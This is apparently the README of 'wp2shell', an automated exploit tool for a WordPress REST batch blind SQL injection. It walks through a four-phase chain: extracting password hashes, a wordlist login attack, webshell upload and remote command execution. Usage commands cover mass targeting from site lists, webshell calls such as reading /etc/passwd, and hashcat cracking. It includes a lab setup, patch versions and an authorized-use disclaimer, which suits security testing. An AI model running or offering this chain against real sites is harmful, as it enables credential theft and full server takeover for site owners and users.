wp2shell

WordPress REST batch route-confusion blind SQL injection — automated exploit chain.

CVE-2026-63030 / CVE-2026-60137

For authorized security testing only.

How it works

The WordPress REST API batch endpoint (/wp-json/batch/v1) allows nested batch requests. A double-nested desync payload shifts the internal $matches / $validation arrays, routing a crafted author_exclude value into the author__not_in SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.

Exploit chain — 4 phases:

Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Requirements

• Python 3.8+
• aiohttp
• colorama

pip install aiohttp colorama

Usage

Single target

python wp2shell.py http://target.com

Site list (one URL per line)

python wp2shell.py sites.txt

Site list + custom password file

python wp2shell.py sites.txt -p pass.txt

Known credentials (skip wordlist)

python wp2shell.py http://target.com --user admin --password admin123

Confirm SQLi with timing

python wp2shell.py http://target.com --confirm-sqli

No pretty permalinks

python wp2shell.py http://target.com --rest-route

Through Burp proxy

python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Options

Output files

All files append — results accumulate across runs.

Using the webshell — append ?cmd=COMMAND to the URL in webshell.txt:

# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Offline cracking

If the wordlist misses, creds.txt contains the extracted hash:

hashcat -m 400 creds.txt wordlist.txt

Then rerun with the cracked password:

python wp2shell.py http://target.com --user admin --password <plaintext>

Local lab (Docker)

Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.

First run — build volumes and install WordPress:

docker compose up -d db wordpress
docker compose run --rm wpcli

Subsequent starts:

docker compose up -d db wordpress

Stop:

docker compose down

Full reset (wipes all data):

docker compose down -v

Run exploit against the lab:

python wp2shell.py http://localhost:8080

Patching

Update to WordPress 6.9.5 or 7.0.2. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.

Legal

For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.